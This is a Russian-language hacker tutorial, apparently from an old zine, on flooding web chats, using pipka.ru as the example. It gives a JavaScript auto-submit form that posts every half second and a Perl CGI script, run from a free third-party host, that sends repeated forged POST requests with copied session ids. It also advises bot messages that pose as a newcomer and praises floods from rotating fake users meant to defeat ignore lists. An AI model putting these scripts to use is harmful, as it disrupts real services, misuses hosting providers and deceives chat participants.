Как говорится, если чат не ломается, то он
флудится… Здесь я попробую рассмотреть
способ, как можно развлекаться/нападать/оборонятся
в html-чатах. Причем способ этот можно
применить _почти_ к любому чату.
Итак, что происходит, когда ты сидишь в
чате с точки зрения технологии клиент-сервер?
Твой броузер периодически соединяется с
сервером, на котором находится чат и
обменивается с ним данными. Этими данными
могут быть и твои сообщения, и сообщения
других пользователей, для тебя
предоставленных уже в виде страницы html.
Короче, все, что необходимо для
функционирования чата. Нас особо
интересуют данные, которые можем посылать
мы. Для наглядного примера давай разрежем
чат на www.pipka.ru и поковыряемся в его кишочках
:).
Входим в чат, в комнату “флудилка” 🙂 и
начинаем осматриваться. Чат разбит на
несколько фреймов, окно сообщений, окно
присутствующих и так далее.. Итак, я хочу
разобраться, каким образом посылаются
сообщения, для этого, как минимум, нужно
посмотреть содержимое фрейма с полем
отправки сообщения в виде html. Исходник, так
сказать. Устанавливаю курсор мыши рядом с
кнопкой “Ок”, жму правую кнопку мыши и из
контекстного меню выбираю – “Просмотр в
виде HTML”, как в англоязычной версии пишется,
не помню, врать не буду. Нас интересует тег
<form>, так как при помощи него обычно
организуется передача параметров на скрипт
чата. Убрав все лишнее, вычленяем нужную
форму:
<html>
<form action="get.cgi?room=flood&id=999308750 &login=999308750&pass=999308750"
method="post" target=g name="sm">
<input type="hidden" name="number" value="1">
<input type=checkbox name=ch checked></td>
<input class=gess type=text name=message size=32 maxlength=500>
<input class=gess type=text name=privat size=6 maxlength=30 value=Всем>
<select name="how" class="txt">
<option value=0 selected>просто</option>
<option value=27>сквозь зубы</option>
<input class=butt type=submit value=" OK ">
</form>
</html>
Что мы можем с этого поиметь? Для начала
давай попробуем написать в чат со своей
формы. Для этого необходимо в параметр
“action” прописать полный путь к скрипту.
Изменяем строчку <form action="get.cgi?room=flood&id=999308750&login=999308750&pass=999308750"
method="post" target=g name="sm"> на <form action="www.pipka.ru/pip-bin/chat/get.cgi?room=flood&id=
999308750&login=999308750&pass=999308750" method="post"
target=g name="sm">
Создаем документ one.html и копируем туда
выдранную форму. Пробуем написать с нашей
формы и сморим в чат. Отлично, в чат прошло
сообщение с нашей формы.
Давай теперь сделаем из этой формы оружие.
Что скажешь, если у тебя будет форма, которая
сама посылает в чат несколько одинаковых
сообщений? Точно, флуд и есть.
Работаем.
<html>
<head>
<script>
function flood(){
document.forms[0].submit();
window.setTimeout("flood();",500);
}
</script>
</head>
<form action="http://www.pipka.ru/pip-bin/chat/get.cgi? room=flood&id=999308750&login=999308750&pass=999308750"
method="post" target=g name="sm">
<input type="hidden" name="number" value="1">
<input type=checkbox name=ch checked></td>
<input class=gess type=text name=message size=32 maxlength=500>
<input class=gess type=text name=privat size=6 maxlength=30 value=Всем>
<select name="how" class="txt">
<option value=0 selected>просто</option>
<option value=27>сквозь зубы</option>
<input type=submit value=" OK " onClick="flood();">
</form>
</html>
Итак, результатом стал немного измененный
файл one.html. Можно сохранить под другим
именем. Если написать что-нибудь в окне и
нажать “Ок”, то в чат пойдет написанная
фраза с частотой в пол секунды. Скорость
можно поменять, увеличив значение в строчке
window.setTimeout("flood();",500), например, не 500, 45000 -
это задержка в 45 секунд. (по идее)
Остановить этот флуд можно только
закрытием окна. Я думаю, теперь вы сможете
обратить на себя внимание в чате :).
ВАЖНО. Обрати внимание на цифры, идущие
после слов id, login и pass. Эти цифры – твой
идентификационный номер, именно они
отвечают за корректность работы, например,
что посланное тобой сообщение напечатается
от твоего имени. Не забывай следить, чтобы
они совпадали с цифрами, которые у тебя
прописаны в настоящей форме, иначе
результата не будет. На pipka.ru они меняются,
даже если ты перешел в другую комнату.
Кстати насчет комнат, когда я там
тестировал эти флудеры, естественно, был
замечен местными модами и админами. В
результате мы пришли к соглашению, что они
не будут против флуда на этом чате, но _только_
в комнате “флудилка”. Я тебя естественно
не ограничиваю, но будь готов к тому, что они
могут тебя кикать и банить. Что они,
возможно, и будут делать, начни ты флудить не
в “флудилке”.
В принципе, это все что нужно для флуда.
Немного переделав верхний скрипт, можно
посылать сообщения из массива заранее
приготовленных фраз. Что-нибудь типа "всем
привет!", "Как здесь приват включить?",
"почему
вы со мной не разговариваете?", "Как тебя зовут?"
и так далее. Это создает впечатление, что
человек зашел в первый раз, и многие
начинают разговаривать с этим “ботом”.
Иногда получается очень смешно…. Особенно
если к тексту с умом подойти.
Теперь собственно о том, ради чего это все
написано. Конечно, флудить с автоформы
интересно, но при этом неплохо нагружается
и твой собственный трафик. А если коннект
слабоват, то удовольствие вообще ниже
среднего. Поэтому предлагаю тебе немного
другой подход, но с теми же принципами.
Давай будем флудить с левого сервера, думаю,
у него связь получше. В данном случае от
тебя потребуется только дать ему команду на
флуд, остальное сервер сделает сам. У меня
все прекрасно работает на бесплатном
хостинге fatal.ru, они предоставляют CGI, а
главное, возможность исходящих запросов (outband).
На h1.ru такое не проходит, например.
Итак. Нам нужно отправить серверу pipka.ru
какое-то количество запросов, естественно
уже без помощи броузера. Раз так,
воспользуемся библиотекой Perl`a для
соединения через сокеты (socket).
*Сокетом называется конечная точка
коммуникационного соединения. Интерфейс
сокетов предоставляет единообразный
интерфейс для доступа к любым протоколам,
вне зависимости от того, находятся они на
одной системе или на разных.(выжимка из
умной книжки).
Для создания соединения через сокет
необходимо произнести следующее
заклинание:
#!/usr/bin/perl
use IO::Socket;
$host=”www.pipka.ru”;
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
$port,Proto => "TCP");
После создания соединения с сокетом можно
работать, как с файлом:
print $socket “GET /index.html HTTP/1.1\n”;
@buffer=<$socket>;
print @buffer;
Ну, это лирика. Нам нужно самостоятельно
отправить запрос в чат на pipka.ru.
Предполагается, что ты сидишь уже в чате, и
тебе известен твой идентификационный номер.
Теперь используем вот такой скрипт.
#!/usr/bin/perl
use IO::Socket;
print "Content-type: text/html\n\n";
sub urldecode{
local($val)=@_;
$val=~s/\+/ /g;
$val= ~s/%([0-9a-hA-H]{2})/pack('C',hex($1))/ge;
return $val;
}
$port = 80;
$host = "www.pipka.ru";
if($ENV{'REQUEST_METHOD'} eq 'GET'){
$query=$ENV{'QUERY_STRING'};
}
elsif($ENV{'REQUEST_METHOD'} eq 'POST'){
sysread(STDIN,$query,$ENV{'CONTENT_LENGTH'});
}
if($query eq ''){
print <<HTML;
<html>
<body>
<form method="post" action="pipka.cgi">
Текст сообщения<br><input type="text" name="say"
size="45"><br>
Кол-во повторений <input type="text" name="n"
value="5" size="3"><br>
Идент. номер <input type="text" name="num" size="10"><br>
<input type="submit" value="Пшел">
</form>
</body></html>
HTML
}
else{
@formfields=split(/&/,$query);
foreach(@formfields){
if(/^say=(.*)/){$say=urldecode($1);}
if(/^n=(.*)/){$n=urldecode($1);}
if(/^num=(.*)/){$num=urldecode($1);}
}
$send="number=1&ch=Yes&message=$say";
$send=~s/\s/+/g;
$l=length($send);
for($i=1;$i<=$n;$i++){
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
$port,Proto => "TCP");
print $socket "POST /pip-bin/chat/get.cgi?room=flood&id=$num&login=
$num&pass=$num HTTP/1.1\n";
print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/msword, */*\n";
print $socket "Accept-Language: ru\n";
print $socket "Content-Type: application/x-www-form-urlencoded\n";
print $socket "Accept-Encoding: gzip, deflate\n";
print $socket "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)\n";
print $socket "Host: $host\n";
print $socket "Content-Length: $l\n";
print $socket "Connection: Keep-Alive\n";
print $socket "\n";
print $socket "$send\n";
}
}
Что мы делаем? В скрипт передаются
следующие параметр: text, num и n.
Соответственно, текст сообщения,
идентификационный номер и нужное
количество повторений сообщения. Скрипт в
цикле соединяется с сервером и посылает
сформированный нами запрос, если все
проходит нормально, то в чате появляется
некоторое количество сообщений. Теперь
чуть подробнее.
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
$port,Proto => "TCP");
Этой строчкой мы создаем соединение,
переменная $host должна содержать имя сервера,
а переменная $port - номер порта.
Теперь мы можем послать запрос серверу
pipka.ru, что мы и делаем строчкой
print $socket "POST /pip-bin/chat/get.cgi?room=flood&id=
$num&login=$num&pass=$num HTTP/1.1\n";
Мы послали на скрипт get.cgi следующие
параметры:
room=flood
Id=”номер из формы”
login=”номер из формы”
pass=”номер из формы”
number=1
ch=Yes
message=”текст их формы”
Заметь, что последние три параметра мы
послали уже как тело запроса POST. Они
прописаны в переменной $send и мы послали их
после посылки служебных полей. Содержимое
служебных полей обычно стандартно, но я на
всякий случай отснифил пакеты, идущие в чат
с броузера и скопировал их. Необходимо
только подсчитывать и указывать длину
запроса. Получив пакет такого вида, скрипт
делает из него сообщение в чате, которое ты
и видишь.
Вот, в принципе, и все. Тут конечно еще много
нюансов везде, но меня уже ломает писать.
Разобравшись с этим, ты можешь намутить
довольно интересные штуки на свой вкус.
Например, некто, virus, который в частности
написал перловский скрипт, как-то сделал
следующее: в чат заходит юзер, выплевывает
десяток фраз и уходит, тут же заходит другой
юзер и также повторяет фразы, и так
несколько раз. Как ты уже понял, все это
делалось при помощи скрипта, а имена юзеров,
фразы и количество заходов, задавалось с
формы, подвластной virus`у. Игнорить такой флуд
бесполезно. Делай выводы.
Юзается этот скрипт так, ты сидишь в чате и
решил флудануть, смотришь в исходнике формы
какой у тебя идентификационный номер и
вбиваешь урл www.chater.fatal.ru/cgi-bin/pipka.cgi. Вводишь
текст флуда, идент.номер и кол-во повторений.
Жмешь бутон и если номер верный, и ты
находишься в комнате “флудилка”, ты видишь
результат. Заметь, что ты если ты
зарегистрировался в чате, логин и пасс у
тебя становятся другими, и скрипт на
сервере не пропустит этот флуд. Этот скрипт
заточен под гостей чата, если нужно,
переделать не сложно.
Во избежании ошибок я добавил архив
со всеми исходниками.
4 advanced users: у меня пока не получается
коннектиться скриптом через прокси, если
подскажете, буду благодарен.